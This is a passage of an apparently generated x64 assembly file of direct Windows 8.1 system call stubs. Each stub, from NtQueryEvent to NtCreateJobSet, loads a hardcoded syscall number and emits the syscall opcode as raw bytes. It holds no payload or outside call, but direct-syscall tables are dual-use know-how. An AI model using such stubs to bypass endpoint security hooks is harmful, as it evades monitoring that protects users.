_6_3_9600_sp0_windows_8_1_NtCreateFile ENDP
; ULONG64 __stdcall NtQueryEvent( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtQueryEvent PROC STDCALL
mov r10 , rcx
mov eax , 85
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQueryEvent ENDP
; ULONG64 __stdcall NtWriteRequestData( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_6_3_9600_sp0_windows_8_1_NtWriteRequestData PROC STDCALL
mov r10 , rcx
mov eax , 86
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtWriteRequestData ENDP
; ULONG64 __stdcall NtOpenDirectoryObject( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtOpenDirectoryObject PROC STDCALL
mov r10 , rcx
mov eax , 87
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtOpenDirectoryObject ENDP
; ULONG64 __stdcall NtAccessCheckByTypeAndAuditAlarm( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 , ULONG64 arg_12 , ULONG64 arg_13 , ULONG64 arg_14 , ULONG64 arg_15 , ULONG64 arg_16 );
_6_3_9600_sp0_windows_8_1_NtAccessCheckByTypeAndAuditAlarm PROC STDCALL
mov r10 , rcx
mov eax , 88
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAccessCheckByTypeAndAuditAlarm ENDP
; ULONG64 __stdcall NtQuerySystemTime( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtQuerySystemTime PROC STDCALL
mov r10 , rcx
mov eax , 89
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQuerySystemTime ENDP
; ULONG64 __stdcall NtWaitForMultipleObjects( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtWaitForMultipleObjects PROC STDCALL
mov r10 , rcx
mov eax , 90
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtWaitForMultipleObjects ENDP
; ULONG64 __stdcall NtSetInformationObject( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtSetInformationObject PROC STDCALL
mov r10 , rcx
mov eax , 91
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetInformationObject ENDP
; ULONG64 __stdcall NtCancelIoFile( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtCancelIoFile PROC STDCALL
mov r10 , rcx
mov eax , 92
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCancelIoFile ENDP
; ULONG64 __stdcall NtTraceEvent( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtTraceEvent PROC STDCALL
mov r10 , rcx
mov eax , 93
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtTraceEvent ENDP
; ULONG64 __stdcall NtPowerInformation( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtPowerInformation PROC STDCALL
mov r10 , rcx
mov eax , 94
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtPowerInformation ENDP
; ULONG64 __stdcall NtSetValueKey( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_6_3_9600_sp0_windows_8_1_NtSetValueKey PROC STDCALL
mov r10 , rcx
mov eax , 95
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetValueKey ENDP
; ULONG64 __stdcall NtCancelTimer( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtCancelTimer PROC STDCALL
mov r10 , rcx
mov eax , 96
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCancelTimer ENDP
; ULONG64 __stdcall NtSetTimer( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 );
_6_3_9600_sp0_windows_8_1_NtSetTimer PROC STDCALL
mov r10 , rcx
mov eax , 97
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetTimer ENDP
; ULONG64 __stdcall NtAccessCheck( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 );
_6_3_9600_sp0_windows_8_1_NtAccessCheck PROC STDCALL
mov r10 , rcx
mov eax , 98
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAccessCheck ENDP
; ULONG64 __stdcall NtAccessCheckByType( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 );
_6_3_9600_sp0_windows_8_1_NtAccessCheckByType PROC STDCALL
mov r10 , rcx
mov eax , 99
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAccessCheckByType ENDP
; ULONG64 __stdcall NtAccessCheckByTypeResultList( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 );
_6_3_9600_sp0_windows_8_1_NtAccessCheckByTypeResultList PROC STDCALL
mov r10 , rcx
mov eax , 100
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAccessCheckByTypeResultList ENDP
; ULONG64 __stdcall NtAccessCheckByTypeResultListAndAuditAlarm( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 , ULONG64 arg_12 , ULONG64 arg_13 , ULONG64 arg_14 , ULONG64 arg_15 , ULONG64 arg_16 );
_6_3_9600_sp0_windows_8_1_NtAccessCheckByTypeResultListAndAuditAlarm PROC STDCALL
mov r10 , rcx
mov eax , 101
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAccessCheckByTypeResultListAndAuditAlarm ENDP
; ULONG64 __stdcall NtAccessCheckByTypeResultListAndAuditAlarmByHandle( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 , ULONG64 arg_12 , ULONG64 arg_13 , ULONG64 arg_14 , ULONG64 arg_15 , ULONG64 arg_16 , ULONG64 arg_17 );
_6_3_9600_sp0_windows_8_1_NtAccessCheckByTypeResultListAndAuditAlarmByHandle PROC STDCALL
mov r10 , rcx
mov eax , 102
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAccessCheckByTypeResultListAndAuditAlarmByHandle ENDP
; ULONG64 __stdcall NtAddAtomEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtAddAtomEx PROC STDCALL
mov r10 , rcx
mov eax , 103
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAddAtomEx ENDP
; ULONG64 __stdcall NtAddBootEntry( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtAddBootEntry PROC STDCALL
mov r10 , rcx
mov eax , 104
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAddBootEntry ENDP
; ULONG64 __stdcall NtAddDriverEntry( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtAddDriverEntry PROC STDCALL
mov r10 , rcx
mov eax , 105
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAddDriverEntry ENDP
; ULONG64 __stdcall NtAdjustGroupsToken( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_6_3_9600_sp0_windows_8_1_NtAdjustGroupsToken PROC STDCALL
mov r10 , rcx
mov eax , 106
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAdjustGroupsToken ENDP
; ULONG64 __stdcall NtAdjustTokenClaimsAndDeviceGroups( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 , ULONG64 arg_12 , ULONG64 arg_13 , ULONG64 arg_14 , ULONG64 arg_15 , ULONG64 arg_16 );
_6_3_9600_sp0_windows_8_1_NtAdjustTokenClaimsAndDeviceGroups PROC STDCALL
mov r10 , rcx
mov eax , 107
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAdjustTokenClaimsAndDeviceGroups ENDP
; ULONG64 __stdcall NtAlertResumeThread( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtAlertResumeThread PROC STDCALL
mov r10 , rcx
mov eax , 108
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAlertResumeThread ENDP
; ULONG64 __stdcall NtAlertThread( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtAlertThread PROC STDCALL
mov r10 , rcx
mov eax , 109
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAlertThread ENDP
; ULONG64 __stdcall NtAlertThreadByThreadId( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtAlertThreadByThreadId PROC STDCALL
mov r10 , rcx
mov eax , 110
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAlertThreadByThreadId ENDP
; ULONG64 __stdcall NtAllocateLocallyUniqueId( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtAllocateLocallyUniqueId PROC STDCALL
mov r10 , rcx
mov eax , 111
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAllocateLocallyUniqueId ENDP
; ULONG64 __stdcall NtAllocateReserveObject( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtAllocateReserveObject PROC STDCALL
mov r10 , rcx
mov eax , 112
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAllocateReserveObject ENDP
; ULONG64 __stdcall NtAllocateUserPhysicalPages( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtAllocateUserPhysicalPages PROC STDCALL
mov r10 , rcx
mov eax , 113
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAllocateUserPhysicalPages ENDP
; ULONG64 __stdcall NtAllocateUuids( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtAllocateUuids PROC STDCALL
mov r10 , rcx
mov eax , 114
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAllocateUuids ENDP
; ULONG64 __stdcall NtAlpcAcceptConnectPort( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 );
_6_3_9600_sp0_windows_8_1_NtAlpcAcceptConnectPort PROC STDCALL
mov r10 , rcx
mov eax , 115
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAlpcAcceptConnectPort ENDP
; ULONG64 __stdcall NtAlpcCancelMessage( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtAlpcCancelMessage PROC STDCALL
mov r10 , rcx
mov eax , 116
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAlpcCancelMessage ENDP
; ULONG64 __stdcall NtAlpcConnectPort( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 );
_6_3_9600_sp0_windows_8_1_NtAlpcConnectPort PROC STDCALL
mov r10 , rcx
mov eax , 117
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAlpcConnectPort ENDP
; ULONG64 __stdcall NtAlpcConnectPortEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 );
_6_3_9600_sp0_windows_8_1_NtAlpcConnectPortEx PROC STDCALL
mov r10 , rcx
mov eax , 118
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAlpcConnectPortEx ENDP
; ULONG64 __stdcall NtAlpcCreatePort( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtAlpcCreatePort PROC STDCALL
mov r10 , rcx
mov eax , 119
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAlpcCreatePort ENDP
; ULONG64 __stdcall NtAlpcCreatePortSection( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_6_3_9600_sp0_windows_8_1_NtAlpcCreatePortSection PROC STDCALL
mov r10 , rcx
mov eax , 120
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAlpcCreatePortSection ENDP
; ULONG64 __stdcall NtAlpcCreateResourceReserve( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtAlpcCreateResourceReserve PROC STDCALL
mov r10 , rcx
mov eax , 121
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAlpcCreateResourceReserve ENDP
; ULONG64 __stdcall NtAlpcCreateSectionView( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtAlpcCreateSectionView PROC STDCALL
mov r10 , rcx
mov eax , 122
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAlpcCreateSectionView ENDP
; ULONG64 __stdcall NtAlpcCreateSecurityContext( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtAlpcCreateSecurityContext PROC STDCALL
mov r10 , rcx
mov eax , 123
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAlpcCreateSecurityContext ENDP
; ULONG64 __stdcall NtAlpcDeletePortSection( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtAlpcDeletePortSection PROC STDCALL
mov r10 , rcx
mov eax , 124
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAlpcDeletePortSection ENDP
; ULONG64 __stdcall NtAlpcDeleteResourceReserve( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtAlpcDeleteResourceReserve PROC STDCALL
mov r10 , rcx
mov eax , 125
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAlpcDeleteResourceReserve ENDP
; ULONG64 __stdcall NtAlpcDeleteSectionView( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtAlpcDeleteSectionView PROC STDCALL
mov r10 , rcx
mov eax , 126
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAlpcDeleteSectionView ENDP
; ULONG64 __stdcall NtAlpcDeleteSecurityContext( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtAlpcDeleteSecurityContext PROC STDCALL
mov r10 , rcx
mov eax , 127
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAlpcDeleteSecurityContext ENDP
; ULONG64 __stdcall NtAlpcDisconnectPort( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtAlpcDisconnectPort PROC STDCALL
mov r10 , rcx
mov eax , 128
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAlpcDisconnectPort ENDP
; ULONG64 __stdcall NtAlpcImpersonateClientOfPort( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtAlpcImpersonateClientOfPort PROC STDCALL
mov r10 , rcx
mov eax , 129
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAlpcImpersonateClientOfPort ENDP
; ULONG64 __stdcall NtAlpcOpenSenderProcess( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_6_3_9600_sp0_windows_8_1_NtAlpcOpenSenderProcess PROC STDCALL
mov r10 , rcx
mov eax , 130
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAlpcOpenSenderProcess ENDP
; ULONG64 __stdcall NtAlpcOpenSenderThread( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_6_3_9600_sp0_windows_8_1_NtAlpcOpenSenderThread PROC STDCALL
mov r10 , rcx
mov eax , 131
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAlpcOpenSenderThread ENDP
; ULONG64 __stdcall NtAlpcQueryInformation( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtAlpcQueryInformation PROC STDCALL
mov r10 , rcx
mov eax , 132
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAlpcQueryInformation ENDP
; ULONG64 __stdcall NtAlpcQueryInformationMessage( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_6_3_9600_sp0_windows_8_1_NtAlpcQueryInformationMessage PROC STDCALL
mov r10 , rcx
mov eax , 133
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAlpcQueryInformationMessage ENDP
; ULONG64 __stdcall NtAlpcRevokeSecurityContext( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtAlpcRevokeSecurityContext PROC STDCALL
mov r10 , rcx
mov eax , 134
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAlpcRevokeSecurityContext ENDP
; ULONG64 __stdcall NtAlpcSendWaitReceivePort( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 );
_6_3_9600_sp0_windows_8_1_NtAlpcSendWaitReceivePort PROC STDCALL
mov r10 , rcx
mov eax , 135
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAlpcSendWaitReceivePort ENDP
; ULONG64 __stdcall NtAlpcSetInformation( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtAlpcSetInformation PROC STDCALL
mov r10 , rcx
mov eax , 136
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAlpcSetInformation ENDP
; ULONG64 __stdcall NtAreMappedFilesTheSame( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtAreMappedFilesTheSame PROC STDCALL
mov r10 , rcx
mov eax , 137
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAreMappedFilesTheSame ENDP
; ULONG64 __stdcall NtAssignProcessToJobObject( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtAssignProcessToJobObject PROC STDCALL
mov r10 , rcx
mov eax , 138
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAssignProcessToJobObject ENDP
; ULONG64 __stdcall NtAssociateWaitCompletionPacket( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 );
_6_3_9600_sp0_windows_8_1_NtAssociateWaitCompletionPacket PROC STDCALL
mov r10 , rcx
mov eax , 139
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAssociateWaitCompletionPacket ENDP
; ULONG64 __stdcall NtCancelIoFileEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtCancelIoFileEx PROC STDCALL
mov r10 , rcx
mov eax , 140
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCancelIoFileEx ENDP
; ULONG64 __stdcall NtCancelSynchronousIoFile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtCancelSynchronousIoFile PROC STDCALL
mov r10 , rcx
mov eax , 141
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCancelSynchronousIoFile ENDP
; ULONG64 __stdcall NtCancelTimer2( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtCancelTimer2 PROC STDCALL
mov r10 , rcx
mov eax , 142
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCancelTimer2 ENDP
; ULONG64 __stdcall NtCancelWaitCompletionPacket( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtCancelWaitCompletionPacket PROC STDCALL
mov r10 , rcx
mov eax , 143
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCancelWaitCompletionPacket ENDP
; ULONG64 __stdcall NtCommitComplete( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtCommitComplete PROC STDCALL
mov r10 , rcx
mov eax , 144
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCommitComplete ENDP
; ULONG64 __stdcall NtCommitEnlistment( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtCommitEnlistment PROC STDCALL
mov r10 , rcx
mov eax , 145
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCommitEnlistment ENDP
; ULONG64 __stdcall NtCommitTransaction( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtCommitTransaction PROC STDCALL
mov r10 , rcx
mov eax , 146
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCommitTransaction ENDP
; ULONG64 __stdcall NtCompactKeys( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtCompactKeys PROC STDCALL
mov r10 , rcx
mov eax , 147
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCompactKeys ENDP
; ULONG64 __stdcall NtCompareTokens( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtCompareTokens PROC STDCALL
mov r10 , rcx
mov eax , 148
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCompareTokens ENDP
; ULONG64 __stdcall NtCompleteConnectPort( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtCompleteConnectPort PROC STDCALL
mov r10 , rcx
mov eax , 149
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCompleteConnectPort ENDP
; ULONG64 __stdcall NtCompressKey( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtCompressKey PROC STDCALL
mov r10 , rcx
mov eax , 150
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCompressKey ENDP
; ULONG64 __stdcall NtConnectPort( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 );
_6_3_9600_sp0_windows_8_1_NtConnectPort PROC STDCALL
mov r10 , rcx
mov eax , 151
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtConnectPort ENDP
; ULONG64 __stdcall NtCreateDebugObject( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtCreateDebugObject PROC STDCALL
mov r10 , rcx
mov eax , 152
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCreateDebugObject ENDP
; ULONG64 __stdcall NtCreateDirectoryObject( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtCreateDirectoryObject PROC STDCALL
mov r10 , rcx
mov eax , 153
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCreateDirectoryObject ENDP
; ULONG64 __stdcall NtCreateDirectoryObjectEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtCreateDirectoryObjectEx PROC STDCALL
mov r10 , rcx
mov eax , 154
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCreateDirectoryObjectEx ENDP
; ULONG64 __stdcall NtCreateEnlistment( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 );
_6_3_9600_sp0_windows_8_1_NtCreateEnlistment PROC STDCALL
mov r10 , rcx
mov eax , 155
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCreateEnlistment ENDP
; ULONG64 __stdcall NtCreateEventPair( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtCreateEventPair PROC STDCALL
mov r10 , rcx
mov eax , 156
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCreateEventPair ENDP
; ULONG64 __stdcall NtCreateIRTimer( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtCreateIRTimer PROC STDCALL
mov r10 , rcx
mov eax , 157
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCreateIRTimer ENDP
; ULONG64 __stdcall NtCreateIoCompletion( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtCreateIoCompletion PROC STDCALL
mov r10 , rcx
mov eax , 158
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCreateIoCompletion ENDP
; ULONG64 __stdcall NtCreateJobObject( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtCreateJobObject PROC STDCALL
mov r10 , rcx
mov eax , 159
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCreateJobObject ENDP
; ULONG64 __stdcall NtCreateJobSet( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtCreateJobSet PROC STDCALL
mov r10 , rcx
mov eax , 160
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCreateJobSet ENDP
